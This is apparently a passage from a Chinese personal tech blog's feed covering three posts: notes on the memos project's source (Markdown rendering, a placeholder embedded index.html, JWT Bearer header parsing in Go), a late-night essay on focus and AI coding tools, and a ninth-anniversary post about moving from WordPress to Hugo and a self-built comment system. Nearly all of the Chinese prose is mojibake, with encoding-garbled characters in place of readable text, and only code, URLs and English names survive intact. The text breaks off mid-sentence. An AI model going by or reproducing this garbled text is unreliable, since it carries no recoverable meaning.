<p><code>renderer</code> ç®å½åæ¯éåä¸è¿° AST ä¸çèç¹ï¼æ¥å° AST 转æ¢æ HTML æè
String 纯ææ¬ãè¿éå°±å¾ç®åäºï¼ä¸åçèç¹è°ä¸åçå½æ° <code>WriteString</code> å³å¯ã</p>
<p>综ä¸ï¼<code>gomark</code> å°±å®æäºå° Markdown æ ¼å¼ææ¬ï¼è§£æ转æ¢æ HTML æ String 纯ææ¬çå·¥ä½ã</p>
<h2 id="å
¶å®çå°ç»è">å
¶å®çå°ç»è</h2>
<p>æåå说äºèªå·±åç°çå°ç»èå§ï¼å°±ä¸åç¬åä¸åäºã</p>
<h3 id="å端-embed-indexhtml">å端 embed index.html</h3>
<p>éç Go Embed åè½å å
¥åï¼æå¾åæ¬¢å° Vue ç¼è¯åçå端æå
è¿ Go Binary ä¸ãå¾å¾æ¯ä¼å¨ <code>web</code> æè
<code>frontend</code> å端代ç è·¯å¾ä¸ï¼ä¿çæ¾ç¼è¯äº§ç©ç <code>dist</code> ç®å½ï¼å¨éé¢æ¾ä¸ª gitkeep æ件å¥çã</p>
<p>memos çåæ³æ¯æ¾ç½®äºä¸ä¸ª <code>frontend/dist/index.html</code> æ件ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#8b949e;font-weight:bold;font-style:italic"><!DOCTYPE html></span>
</span></span><span style="display:flex;"><span><<span style="color:#7ee787">html</span> lang<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">"en"</span>>
</span></span><span style="display:flex;"><span> <<span style="color:#7ee787">head</span>>
</span></span><span style="display:flex;"><span> <<span style="color:#7ee787">meta</span> charset<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">"UTF-8"</span> />
</span></span><span style="display:flex;"><span> <<span style="color:#7ee787">meta</span> name<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">"viewport"</span> content<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">"width=device-width, initial-scale=1.0"</span> />
</span></span><span style="display:flex;"><span> <<span style="color:#7ee787">title</span>>Memos</<span style="color:#7ee787">title</span>>
</span></span><span style="display:flex;"><span> </<span style="color:#7ee787">head</span>>
</span></span><span style="display:flex;"><span> <<span style="color:#7ee787">body</span>>
</span></span><span style="display:flex;"><span> No embeddable frontend found.
</span></span><span style="display:flex;"><span> </<span style="color:#7ee787">body</span>>
</span></span><span style="display:flex;"><span></<span style="color:#7ee787">html</span>>
</span></span></code></pre></div><p>ç´æ¥å¨ Body ä¸åæäºå端åµå
¥æ件ä¸åå¨ãè¿æ ·æ¢å¯ä»¥éè¿ç¼è¯ï¼å¦è¥ç¨æ·è®¿é®æ¶ï¼å端ç没æ被æå
è¿æ¥ï¼å¨ index.html ä¹ä¼æä¸ä¸ªé误æ示ï¼æ¯æåªæ¾ä¸ä¸ªä¸ä¼è¢«è¯»å°ç gitkeep 好äºã</p>
<h3 id="jwt-token-解æ">JWT Token 解æ</h3>
<p>memos ä½¿ç¨ JWT Token é´æãå æ¤éè¦è§£æéè¿ <code>Authorization</code> å¤´ä¼ è¿æ¥çå½¢å¦ <code>Bearer xxxx</code> å
容ãé®é¢æ¯ç¨æ·å¯è½å¨ <code>Bearer</code> å Token ä¹é´ä¼ å
¥ä¸å®æ°éçç©ºæ ¼ï¼çè³å¨ <code>Bearer</code> åæè
<code>xxx</code> åä¹ä¼æç©ºæ ¼ã</p>
<p>è¦æ¯æçè¯ï¼å¯è½å°±å
<code>strings.TrimSpace</code> ï¼å <code>strings.Split</code> æç©ºæ ¼åéï¼ç¶åååå¤æé¿åº¦ï¼å第ä¸ä¸ªå
ç´ åæåä¸ä¸ªå
ç´ ï¼å³ä¸º <code>Bearer</code> å Tokenãmemos éç´æ¥ä½¿ç¨äº <code>strings.Fields</code> å
æ¥åå°è¿ä¸ç¹ï¼ç´æ¥è§£å³äºä¸è¿°å¯è½åå¨çé®é¢ãåé¢è¦åçä»
ä»
åªæå¤æåçé¿åº¦æ¯å¦ä¸º <code>2</code> å³å¯ã</p>
<h2 id="æ»ç»">æ»ç»</h2>
<p>以ä¸ä¾¿æ¯æä¹åé
读 memos æºç çä¸äºå¿å¾ä½ä¼ãç±äºæ¶é´å
³ç³»ï¼æ并没æå¾ä»ç»çå»é
读æ¯ä¸ä¸ªæ件çæ¯ä¸è¡ä»£ç ï¼ä¹æ²¡å»å®¡æ¯å¦ææ½å¨çå®å
¨æ¼æ´ãmemos çå端æ¯ä½¿ç¨ React ç¼åçï¼ç±äºæå¹³æ¶ä¸æä¹å Reactï¼æ以å端è¿åä¹åªæ¯ç²ç¥çç¿»äºç¿»ã</p>
<p>memos è¿æ¯æå¾å¤å¯åå¯ç¹ä¹å¤çï¼å¦å°å¾å¤ãè²ä¼¼ä½è
å
¶å®çå¼æºé¡¹ç®ä¹é½æä½¿ç¨ memos è¿ç§é»ç½å¨ç©é£æ ¼ç Logoï¼ç¸å½äºæ¯ä¸å¥ç»ä¸çåçãæ对 AI çæ产å Logo è¿æ¹é¢ä¹æºæå
´è¶£çï¼å 为èªå·±å®å¨è®¾è®¡ä¸æ¥ä¸ä¸ªå¥½çç Logo…… ä¹åè¿åå¯ä»¥å¤ç 究ä¸ã</p>
- æ·±å¤éç¬https://github.red/focus-is-all-you-need/Fri, 10 Jan 2025 02:24:05 +0800https://github.red/focus-is-all-you-need/<p>åæ¬æ¯æç®åä¸ç¯ææ¯æç« æ¥è®°å½ä¹åé
读æ个项ç®æºç çå¿å¾ä½ä¼ãä½ç±äºä»å¤©æ¯å·¥ä½æ¥ï¼ç½å¤©è¿è¦ä¸çï¼è¦æ¯çå½ä¸ç¯ææ¯æç« æ¥åï¼ä¼°è®¡å°±è¦åæ¨åäºç¹æç¡äºã</p>
<p>æ以ååè¿é£äºé¢æåæçæç« ï¼å¾å¾æ¯ä»å个æåå°±æäºç¹åï¼ç¶åæ¾ä¸æ´ä¸ªç©ºé²çå¨æ«ç»å®ä¸å£æ°åå®ãè³äºæç« æ没æææ¯å«éï¼æå¤å°é
读éï¼æä¹ä¸å
³å¿ï¼èªå·±äº«åçæ¯é£æ´æ´æ´æ´å åååçæå°±æãææè§å¨å¦ä»è¿ä¸ªæ¶ä»£ï¼æ建个人ç½ç«åç¹æåæ§è´¨çä¸è¥¿é¢æç¹å¤è³èªèµçæå³ãå¨æ读é«ä¸é£ä¼ï¼æ¯æå¨è¿è¥ä¸ä¸ªèªå·±ç微信å
¬ä¼å·çãå½æ¶æçéå¿é½æ¾å¨å
¬ä¼å·é£è¾¹ï¼è¿ä¸ªå客éæ©äºå¹´çæç« ï¼ä¹æ¯ä»å
¬ä¼å·é£è¾¹å¤å¶è¿æ¥çã</p>
<p>åæ¥è§å¾å¾®ä¿¡å
¬ä¼å·çæåæçä¸å¥½çï¼å¸å±ä¹ä¸èªç±ï¼ææ´å欢个人ç½ç«è¿ç§å QQ 空é´ä¸æ ·å¯ä»¥éæè£
æ®çå½¢å¼ï¼éæ¾å¼äºå
¬ä¼å·ï¼å¼å§ä¸å¿å¾å客éå¡«ä¸è¥¿ï¼ä¹å¼å§æ³¨éæ¯ç¯å客çæ é¢å头å¾ï¼å¥½è®©æ´ä¸ªé¡µé¢çèµ·æ¥æ¾å¾å
容丰满ãææè§æªæ¥å¾é¿ä¸æ®µæ¶é´è¿æ¯ä¼ä¿æç°å¨è¿ç§ç¶æï¼æå¨äºèç½çä¸ä¸ªå¤å²ä¸èªå¨±èªä¹ï¼å ä¹ä¸ä¼æéç人åç°è¿ä¸ªå²å±¿ã</p>
<p>æ认è¯çæåæå¨è¿è¥èªå·±çBç«ãå°çº¢ä¹¦ãå
¬ä¼å·ï¼ä»ä»¬ä¼æèªå·±åçä¸æ¡å¸åå¨å¤ä¸ªå¹³å°é½ä¸æ¨¡ä¸æ ·å°åä¸éï¼è¿ä¼æ ¹æ®ä¸åå¹³å°çç¨æ·å±æ§ï¼ä¿®æ¹å¸åçæªè¾ãæä¹ææ³è¿å°èªå·±å¹³æ¶å¨ç©ºé´å¨æåçä¸äºæææçä¿¡æ¯æè
ææºçµç段åï¼å¨ä¸åçå¹³å°ååï¼å¥½æ°ä¸æ³¢æµéãä½è¿ä¹é½åªæ¯æ³æ³ï¼æä¸æ¯å¾å欢对å¤é«è°å®£ä¼ èªå·±ã以åæå°è¯è¿ç»æçå¼æºé¡¹ç®æè¿ä¸ä¸ªäº¤æµç¾¤ï¼ä½è¿ç¾¤ç大å¤é½æ¯ææ¯å人åé½ä¸å¨ä¸ä¸ªå±æ¬¡ç伸æå
ï¼è¿è®©æå¤åæå»ãæå¾æ³å¤ç»è¯ä¸äºååå¤ç人ï¼ä½æ¯å害æéå°è ¢è´§ãï¼å 为æä¸å¨å°±éå°äºä¸ªè ¢è´§ï¼ä½æåç¢äºé¢åä¸å¥½ç´æ¥å·ï¼åªè½èªå·±çé·æ°ï¼</p>
<p>è¿å»çä¸å¹´ï¼æå¨é²ææ¶é´åäºä¸å°æææçå°ä¸è¥¿ï¼</p>
<ul>
<li>tomaï¼iOS 设å¤ç«¯æ微信å°ç¨åºå¹¶èªå¨åæ</li>
<li>odocï¼éæ¬ä¸å¢æç CMS</li>
<li>echoï¼ç¨ daisyui å¼åçå客è¯è®ºå端</li>
<li>Sayrudï¼ä¸ç¨å代ç åªè¦ç¹ç¹ç¹å°±å¯ä»¥å®ç° RESTful API</li>
<li>ikDï¼åºäº Traefik çé群æå¡ç»ä¸è®¤è¯æ件</li>
<li>fusionï¼éåäºçä¿¡æ¨éãé®ä»¶æ¨éãæ»å¨éªè¯ç ãæ¯ä»çä¸å°æå¡</li>
<li>TakoChatï¼ä½¿ç¨ Go + Semi Design åç LLM å¥å£³ç«ï¼èåå¥çè
¾è®¯æ··å
大模å</li>
<li>db-carryï¼åªéé
ç½®ä¸è¡ URL å¿«éå®ç° SSH é§éè¿æ¥æ°æ®åºå¹¶å¤ä»½å°å¯¹è±¡åå¨</li>
</ul>
<p>é¤äºä¸é¢å举çè¿äºï¼è¿æå 个å 为åç§åå ä¸æ¹ä¾¿éé²çãä½å®ä»¬é½æä¸ä¸ªç¹ç¹ï¼é£å°±æ¯ï¼</p>
<p><strong>å®ä»¬é½ä¸å¼æºã</strong></p>
<p>è¦è¯´ä¸å¼æºççç±åï¼ä¸æ¯æè§å¾è¿äºé½æ¯ç©å
·æ§è´¨ç项ç®ï¼å¼æºåºæ¥æè§å¾ç¾è»ãäºæ¯æè§å¾ä¸ä¸è¢«æå¿ä¹äººçå°äºï¼ç®åäºå¼ä¸ä¸æ¿å»æ°çé±äºãä¸ç®¡ä»åªæ¹é¢æ¥è¯´ï¼ææè§å¼æºå¯¹æèè¨é½æ²¡æ好å¤ã以ä¸çè¿ç§è§ç¹å¯è½æ¯å¯¹å å¹´åçèªå·±çä¸ç§èåï¼ä½æåªè½ææ
¨æ¶ä»£åäºï¼é£äºâ顺é£é¡ºæ°´ââæå°ææ¥âçæ¥åå·²ä¸å»ä¸å¤è¿äºã</p>
<p>æ¢ä¸ªè§åº¦æ¥è¯´ï¼ä¸é¢è¿äºé¡¹ç®ï¼æå¾å¤§ä¸é¨åé½æ¯ CRUDï¼é¡¶å¤çæ¯å¨ CRUD çåºç¡ä¸ï¼åè¾
ä½ä¸ç¹é¢å¤çææ¯ãæä¹å¨æçèªå·±çä¼å¿æ¯ä¸æ¯ä»
ä»
æ¯æåç CRUD 代ç è´¨éæ¯å«äººå¥½ãå«äººåå¾ä»£ç ä¸éï¼è¿ Lint é½è¿ä¸äºï¼ä½æ¯ææ注éä¼æ¢è¡ï¼å½åç»ä¸å°è£
å¾å½ãæ¯ä¸æ¯ä»
æ¤èå·²å¢ï¼é£è¦æ¯è¿æ ·ï¼å«äººæ¯ä¸æ¯è®¤çé»ç ä¸ä¸ï¼ä¹å°±è½æ¿ä»£æäºï¼è¿æ¯ææ¶å¸¸èªææçå emo çä¸ä¸ªç¹ã</p>
<p>å½ä¸ï¼å¤§æ¨¡åçåå±ä¹è®©è¿ä¸å±å·®è·åå¾æ´å 模ç³ãæå¨ç½ä¸çå°äºå¤ªå¤äººå®£ç§°ç¨ GitHub Copilot ChatãCursorãWindsurf çå·¥å
·å¯ä»¥ä¸ç¨è°¢ä»£ç å¿«éå¼ååºä¸ä¸ª xxxãä½ä»¤ææå°ä¸è§£çæ¯ï¼æèªå·±ä½¿ç¨çæ¶åï¼æä¹å°±æ²¡è¿ä¹ç¥äºï¼</p>
<p>æçæµåºè¯¥æ¯é£äºäººå¨ä½¿ç¨è¿äºå·¥å
·æ¶ï¼é½æ¯ä»é¶å¼å§æ°å»ºä¸ä¸ªæ件夹ï¼ç¶åææ¥å¤§æ¨¡åå¨è¿ä¸ªç©ºç½çç»å¸ä¸å°½æ
ç»ç»ã大模åä¼ç¨å®çæçæ¹å¼ååæ³ï¼æ¥æ¿ä½ åºè²å°å®æéæ±ãä½ è®©å®åå端ï¼å¦æä½ ä¸è¯´å¤ªè¯¦ç»ï¼å®å°±çåªç»ä½ å个 HTML å JavaScript æ件ãå®ä¸å¤§ä¼èèå°ç¨ç°ä»£çå端工å
·é¾ãææè§å¤§æ¨¡åç¼ç å¨å¯¹é¡¹ç®çå®è§ææ§ï¼ä»¥åæ¯å¯¹é¡¹ç®æªæ¥å¯è½äº§ççéæ±ï¼å®çç解æ¯ä¸å¤çãå®ç¬¬ä¸æ¬¡å¯ä»¥ç»ä½ æ³è¦çä¸è¥¿ï¼èå½ä½ ç´¢åæ´å¤çä¸è¥¿æ¶ï¼å®ä¼å¨å·²æç代ç ä¸å°è¯ä¿®æ¹ï¼ä½ æåºæ´å¤çéæ±ï¼å®å°±ç»§ç»ä¿®æ¹ãè¿ä¸ªéå¤çè¿ç¨é常æ¥è¯´æ¯æ²¡é®é¢çãä½æç¸ä¿¡æªæ¥æ»ä¼å°ä¸ä¸ªç¹ï¼ä½ åç°å¤§æ¨¡åæ 论æä¹ç»ä½ ä¿®æ¹ä»£ç ï¼é½æ²¡æ³åå®ç°ä½ æ°çéæ±äºï¼æè
æ¯å®ç»ä½ å®ç°äºæ°éæ± Bï¼ä½ä¸æ¬¡æåºçéæ± A å被æ¹æ²¡äºã</p>
<p>è¿å°±æ¯æå¨å°è¯ä½¿ç¨å¤§æ¨¡å帮æå¼å App æ¶éå°çé®é¢ãæ对å¼å App ä¸çªä¸éï¼å¾å¤æ¬¡æ³è¦ä»é¶å¼å§å¦ä¹ ï¼åè·èµ·æ¥ Hello World 就干å«çå»äºãåå¤è·é£è®©å¤§æ¨¡å帮æå个 Appï¼ç¬¬ä¸çåºæ¥ç¡®å®ææè¿è¡ï¼ä½æ¯æ对页é¢ææ´çï¼ä½å¡ææä½ä¸é¡ºæè
ç¹ææ ·å¼æè§ä¸èæä¸æµç
çå°æ¹ï¼é½ä¼è®©å¤§æ¨¡å帮ææ¹ãè¿å°±å¯¼è´äºæ¹å¥½äº Bï¼åæ¹å¥½äº Cï¼ä¹åç A åä¸è¡äºãæç»åªè½æèªå·±æ²ä¸å¿æ¥ç代ç ï¼æå¨å°ä»£ç ç大æ¹åè°æ´äºä¸ï¼è¿æ让ä¸è¿°éå¤çè¿ç¨è½å¾ä»¥æç»ãä½è¿äºå 轮对è¯ä¸æ¥ï¼å®åä¸è¡äºãè¿å¯¼è´æç¨äºæ´æ´ä¸ä¸ªä¸åå ä¸ä¸ªæä¸çæ¶é´ï¼æç»äºååºäºç¬¬ä¸ä¸ªç¬¦åææ³æ³ç页é¢ãè¿ä¸ªè¿ç¨ä¸ç¹ä¹ä¸è½»æ¾ï¼ååæ¯ç»ææ°å¾ä¸è¡ãé£äºå¨ Twitter æè
å°çº¢ä¹¦ä¸å¹åæ èææ¥å¤§æ¨¡åå®ææ´ä¸ªé¡¹ç®ç人ï¼ä½ 们ä¸å¼å§å¨èåé就没æä¸ä¸ªå
·ä½çæ åï¼å¤§æ¨¡åç»ä½ å个å强 80 åçä¸è¥¿ï¼ä½ ä¹å°±ååçç¨äºãè³äºä»ä¹é
è²ä¸å¯¹ï¼åºå没对é½ï¼ç»ä»¶å¤ªå®½æ太çªï¼é¡¹ç®ç»æä¸åçï¼è¿äºé®é¢ç»ç»å°±è¢«ä½ 们ç»æ è§äºï¼åæ£åä¸æ¯ä¸è½ç¨ã</p>
<p>å¯æ²çæ¯ï¼æå¿éæ³å¾æ¯ 100 åï¼æå¿åä¸äºå¤§æ¨¡åç 80 åï¼æèªå·±åå´åªæ 0 åï¼æ»æ¯ä¸éå°±æ¾å¼äºï¼ãæ以å¦æä½ è½å驳æ并æåºæçé误ï¼çè³è½åæå±ç¤ºå¤§æ¨¡åç¡®å®è½åå° 100 åï¼æææ¿ä¸å°½ã</p>
<p>大模åçæ¦å¿µè¢«ççæ£ç«ï¼ä»ä¹ç鬼èç¥å°±é½åºæ¥äºï¼ç°å¨ä¹æ£æ¯ææµ®èºçæ¶åãæ人é£å£æé±ï¼æ人è¾èåä¸ï¼æ人çè¹çç¹ï¼æ人ä¸è¦é¢é¢ãè¿ä¸ªæ¶åå»äºå»è¾©å»éªæ²¡ä»ä¹ç¨å¤ï¼å¾
å°æ½®æ°´éå»ï¼è°æ²¡ç©¿è£¤åä¸ç®äºç¶ãå½ç¶æä¹å 个ç²ï¼è¿å¹¶ä¸æ¯å¨èªå½æ¸
é«ï¼åªæ¯æä½ä¸ºéæ¢å¾å©çè
çå«å¦ç½¢äºãð</p>
<p>æåç°ä¹ååçæºå¤ä¸è¥¿ï¼åé¢åºæ¬é½ä¸å¸¸ç»´æ¤äºï¼ç©¶å
¶åå æ¯æèªå·±å¹³æ¶ä¹ä¸ä¼å»ç¨è¿äºä¸è¥¿ãæå¨æ¢ç´¢å¦ä½åä¸æ¬¾ dogfooding ç产åï¼ææ¥å¸¸ä¼å»ç¨å®ï¼è¿æ ·èªå·±å°±è½æä¸äºæ°éæ±å¹¶æç»è¿ä»£å®åäºãèªå·±è¿æ¯å¤ªå®¹æ被ä¸äºé£å¹èå¨ç»å½±åäºï¼æ»ä¼æ³äºæç没çï¼ç¶åé·å
¥èªæå¦å®åæçãä½ææ¶å¾å°æ£åé¦ä»¥ååä¼æè§èªå·±çé¼ç¸äºï¼æ¯å¤©éä¹åã</p>
<p>å¸æä»åè½æ´ Focus ä¸äºï¼ä»¥ä¸ç¡®å®æ¯äºæ²¡ä»ä¹é»è¾çéç¬ï¼ç°å¨ä¹å·²æ¯æ·±å¤ä¸¤ç¹äºï¼å·®ä¸å¤å°±åå°è¿å§ã</p>
<blockquote>
<p>æç« å¤´å¾æ¥èª @Novelance <a href="https://www.pixiv.net/artworks/85842369" title="PixivID 85842369">PixivID: 85842369</a></p>
</blockquote>
- æè¿æ¯æ¾å¼äº WordPress · LightCube ä¹å¨å¹´æ»ç»https://github.red/lightcube-9th/Mon, 07 Oct 2024 17:27:05 +0800https://github.red/lightcube-9th/<p>åå°äºä¸å¹´å½åºåæï¼è¿ä¸ªå°ç«ä¹è¿æ¥äºä»çä¹å²çæ¥ãæ¯å¹´åå¨çµèåéä¸å¿æ¥åçå¨å¹´æ»ç»ï¼ä¹æ¯å¯¹æè¿å»ä¸å¹´æåççäºæ
çå顾ãå»å¹´å½åºæç»åäºå¿ç¢æ ä¼çå çï¼æ´ä¸ªåææ ¹æ¬æ½ä¸åºæ¶é´æ¥åä¸ç¯æç« ï¼æå¯ç¬çæ¯æåå´æ¯ç«¹ç¯®ææ°´ä¸åºç©ºï¼æä¸æ æè·ã</p>
<p>èå°äºä»å¹´å½åºï¼æå´æ¯å·²ç»æ¬ç¦»äºç活快å
å¹´çæå·ï¼å¨ä¸æµ·çä¸é´å°å°å
¬å¯å
åä¸è¿äºæåãæå¨ä¸æµ·æäºæ°çå·¥ä½ï¼è®¤è¯äºæ°çåäºï¼è§å°äºå¾å¤æ°çææ¯ãååå¦æ¤ä¹å¤§ï¼åçå¹´ååæé£æ®µæ³¥æ³åå·çç»åï¼è¿æ¯å¾ä½©æèªå·±å½æ¶çå³å¿ãæ对èªå·±ç°å¨çå·¥ä½åçæ´»åå满æï¼æè¿ä¹æ»æ¯ææ
¨ï¼âè¦æ¯æ¥åè½ä¸ç´è¿æ ·ä¸å»å°±å¥½äºãâ ä½æä¹ç¥éèªå·±æ æ¶æ å»æ¯å¨éæ°´è¡èï¼ä¸è½ææ ã</p>
<p>è¨å½æ£ä¼ ï¼è¿æ¯ççè¿å»çä¸å¹´å
ï¼è¿ä¸ªå°ç«ååçäºåªäºååå§~</p>
<h2 id="wordpress---hugo">WordPress -> Hugo</h2>
<p>ææ¯å¨é«ä¸çå½åºåæï¼å¶ç¶å·å°äºä¸ä¸ª b ç«è§é¢ï¼è§é¢ä»ç»äºå¦ä½å¨ Redhat OpenShift ä¸æ建èªå·±ç WordPress å客ãè¿ä¹æ¯æ第ä¸æ¬¡æ¥è§¦ WordPressãPHPãMySQL è¿äºä¸è¥¿ï¼ç¨äºä¸ä¸ªä¸åæ¶é´ï¼å¨ OpenShift ä¸æå»ºäº WordPress ç«ç¹ãåç»å ä¸æ»¡è¶³äº OpenShift æµ·å¤ç¾å½èç¹ç访é®é度ï¼ééç»ç»æ¢äºå¾å¤å®¶ç½ç«æ管åãå 为åå没æå¤æ¡ï¼æ以å½æ¶é½è¿æ¯ç¨å¾é¦æ¸¯èç¹ã</p>
<p>ä¸å¤§å¦åï¼å¼éäºé¿éäºå¦çæºï¼åèªå¦äº Dockerï¼æ便å°ç½ç«è¿å°äºå¦çæºç Docker éãä½ç±äºä½¿ç¨çæ¯ ApacheãPHPãMySQL å®æ¹éåï¼æ²¡æè°èä»»ä½åæ°ï¼æ´ä¸ªç½ç«å³ä½¿å¨å½å
å¦çæºä¸ï¼åå°è®¿é®ä¹æ»æ¯å¡å¡çãWordPress åå°å°±æ´å«è¯´äºï¼åå°é¦é¡µå è½½è¦ä¸å
«ç§ãæ¬æ³èªå·±é è½®ååä¸å¥å客系ç»çï¼å¨ 2020 å¹´çæ¶åå°è¯æ容å¨éåæ¢æäº WordPress å®æ¹éåï¼å±
ç¶ä¸å¡äºãé å客系ç»è½®åç计åä¹éä¹å¼åã</p>
<p>大å¦æ¯ä¸åï¼å¦çæºæ æ³ç»è´¹çï¼ä¾¿å¼å§ç©ä¸äºç«ä»·å®ä¾ + K8s é群ï¼å客ä¹ä»åæ¥å¦çæºä¸ç Dockerï¼è¿ç§»å°äºé群å
ãä½æ为äºçé±ï¼ç«ä»·å®ä¾èç¹åºä»·æ»æ¯æ¯æä½ä»·æ ¼å¤ä¸åé±ï¼å¯¼è´é段æ¶é´å®ä¾å°±ä¼å 为å¸åºä»·æ ¼ååè被åæ¶ãç¶åæçé¿éäºè´¦å·ä½é¢åæ»æ¯ç»´æå¨ 90 - 100 éè¿ï¼ä½é¢ä½äº 100 å°±å¼ä¸åºæ°çå®ä¾ãæ¯æ¬¡é½æ¯èç¹è¢«éæ¯äºï¼ç«ç¹åè¦æéæå客æäºï¼æå赶紧æ¿åºææºå
é±ãï¼çè³å¨è°æç±ç¬¬ä¸æ¬¡çº¦ä¼è¯·åé¥çæ¶åï¼çªç¶æ¶å°åè¦è¯´å®ä¾è¢«éæ¯äºï¼æåªè½åè£
æ¯å¨æ¿ææºç¹é¤ï¼å®åå¨ç»é¿éäºå
é±ï¼</p>
<p>èååéªé©¼çæåä¸æ ¹ç¨»èï¼æ¯æåç°ç¨äºè¿ä¹å¤å¹´ç WordPress 主é¢ï¼å±
ç¶ä¸æ¯æ PHP 8ãåå° PHP 8 åï¼ä¼æ示满å±çæ¹æ³å·²å¼ç¨ï¼å®å
¨è·ä¸èµ·æ¥ãè¿å¥ä¸»é¢æ¯æ 2018 å¹´é«èåè±é±è´ä¹°ç主é¢ï¼æ©å·²ä¸ç»´æ¤äºï¼ä¸»é¢ä½è
çç½ç«ç°å¨é½å·²ç»åæä¸è½½ç«äºã</p>
<p>å æ¤ï¼æå³å®æ¾å¼ç¨äº 9 å¹´ç WordPressï¼è½¬åéæç½ç«ã</p>
<p>æå¨ä»å¹´äºæå¼å§ï¼è±äºå¤§æ¦ä¸ä¸ªæççæ¶é´ï¼å°å WordPress 主é¢æ¬å°äº Hugo ä¸ãæ¬çæ¹æ³ä¹æ¯å¾ç®åç²æ´ï¼å¤§æ¹å¤§æ¹å°å¤å¶ HTMLãCSSï¼åæ Hugo 模æ¿çç»æä¸ç¹ç¹æãæé´èå»äºå¾å¤çèµ·æ¥å¾ç«ï¼ä½å®å没ä»ä¹ç¨çåè½ãï¼çº¯å±å 为太麻ç¦äºä¸æ³åï¼ä¾å¦é¡µé¢æ»å°æåºå¯ä»¥èªå¨å è½½ä¸ä¸é¡µï¼è¢«æ¹æäºåªè½éè¿å¯¼èªå¨ç¿»é¡µï¼å»æäºç§»å¨ç«¯çä¸æ导èªï¼åæäºå°å¯¼èªèåæ¾å° Logo ä¸é¢ï¼å é¤äºä»¥åå¨ WordPress ä¸ä¹±ä¸å
«ç³ç Tag åæç« åç±»ï¼ç»ä¸æ âéç¬âãâææ¯âãâåæâãâå®å
¨âãâå享â äºä¸ªåç±»ã</p>
<p>æ¢æ Hugo éæç½ç«åï¼å¾å°çé度æåä¹æ¯å¾ææ¾çãç®åç½ç«é¨ç½²å¨è
¾è®¯äº COS 对象åå¨ä¸ï¼åé¢å¥äºä¸å±è
¾è®¯äºç CDNã对äºæç« å¤´å¾è¿ç±»æ¯è¾è CDN æµéçèµæºï¼ææ¾äºä¸ªäº¬ä¸æç³»ç»çä¸ä¼ ï¼å°å¾çä¸ä¼ å°äº¬ä¸ <code>360buyimg.com</code> çå
¨ç CDN ä¸ã京ä¸è¿ CDN è¿æºå¼ºå¤§ï¼è¿æ¯æå¾çè£åªã缩æ¾ãæ ¼å¼è½¬æ¢çå¤çåæ°ã详æ
å¯ä»¥æ¥çå®æ¹ææ¡£ï¼<a href="https://h5.jd.com/article/247.html">京ä¸å¾çè°ç¨è¯¦è§£</a> ã</p>
<p>åä¸äºç®åçå端交äºæè
æ°æ®ååç»å®ï¼æå°±ç´æ¥æ¿ <a href="https://alpinejs.dev/">AlpineJS</a> æ¥åäºãåè¿äºä¸»æµç JavaScript å
Œ
±åºï¼å¯ä»¥ç´æ¥èµ°åèç CDNï¼<a href="https://cdn.bytedance.com/">åèè·³å¨éæèµæºå
Œ
±åº</a>ï¼å¨ URL è·¯å¾ä¸è¿å¯ä»¥è®¾ç½®ç¼åçæ¶é¿ãï¼ä¹åç¨ä¸çç <code>staticfile.net</code> ï¼è¿åå¾ç©æçææååºé½å¸¦ <code>no-cache</code> 头ï¼è¿æ¬å°ç¼å个å¯å¯ ð
ï¼</p>
<h2 id="éæç½ç«çè¯è®ºç³»ç»">éæç½ç«çè¯è®ºç³»ç»</h2>
<p>è¿ç§»å°éæç½ç«åï¼âè¯è®ºç³»ç»â æ»æ¯ç»ä¸å¼çä¸ä¸ªè¯é¢ãå
¶æ¬è´¨è¿æ¯æä¹
åæ°æ®ååªçé®é¢ã</p>
<p>åå¼æºçä¸äºåºäº GitHub è´¦å·çè¯è®ºï¼æ°æ®å GitHub Issuesï¼ä½å½å
ç访é®é度ä¸ä½³ï¼ä¸çè¨è
å¿
é¡»ç»å½èªå·±ç GitHub è´¦å·ãæè
æ¯æ¥ä¸äºç¬¬ä¸æ¹ç SaaSï¼å¦ DISQUSï¼è¿ç±»ç³»ç»ä¼è¦æ±ä½¿ç¨ç¬¬ä¸æ¹è´¦å·ç»å½ï¼æè
注åä¸ä¸ª DISQUS è´¦å·ãæ对è¿ç§æ¶éçè¨è
ä¿¡æ¯æè
å¼æµå°ç¬¬ä¸æ¹å¹³å°æ³¨åçè¡ä¸ºï¼æºç²¾ç¥æ´ççãå¦ä¸äºåºäº Serverless æå¡çè¯è®ºç³»ç»ï¼åæ¯åå¨å¨ç±» LeanCloud SaaS æè
Self-hosted çæ°æ®åºä¸ï¼è¿ç±»å¨è®¾è®¡ä¸æ²¡æé®é¢ï¼ä½å¼æºçé£å 个ä¸è®ºæ¯æ ·å¼è¿æ¯æ§è½ï¼é½æºæè¯çã</p>
<p>æä¸å¼å§éæ©çæ¯ Walineï¼å端é¨ç½²å¨é¿éäºç Serverless äºå½æ°ä¸ï¼èåæ¥çå
ç½ MySQL æ°æ®åºãé¦å
éå°çæ¯å¦ä½ä» WordPress è¿ç§»è¯è®ºæ°æ®ï¼GitHub ä¸åäºå¸ <a href="https://github.com/orgs/walinejs/discussions/2348">#2348</a> ï¼å¾å°åå¤è¯´è¦å
è¿ç§»å° DISQUSï¼å转 Walineã好家ä¼ï¼æè¿å¾ææå客çè¯è®ºç¨æ· IP å Email æ°æ®æä¾ç»ç¬¬ä¸æ¹æå¡æ¯å§ï¼æææç»ï¼èªå·±ç³äºä¸ªè¿ç§»èæ¬ã</p>
<p>è¿ç§»å®æåï¼å è½½è¯è®ºåè¿æç¹å¡ï¼è¿æ ·å¼åè¿æ¯ç»ç»çè¾¹æ¡è·æå客主é¢ä¸ç¹é½ä¸æ…… çç太ä¸å¤ªåå¾äºï¼ä¸å¦èªå·±åä¸ä¸ªå¥½äºã</p>
<p>äºæ¯åæäºä½ ç°å¨çå°çå客è¯è®ºç³»ç»ï¼å端æ¯åºäºä¹åä»ç»è¿ç <a href="https://github.red/hello-sayrud/">Sayrud</a>ï¼å端æ¯èªå·±ä½¿ç¨ daisyUI ç³çãç¸æ¯ Waline ççè¨æ¡æ´å ç轻巧大æ°ãæ建æ¶è¿æ¯èä¸å¥ç UMD æå
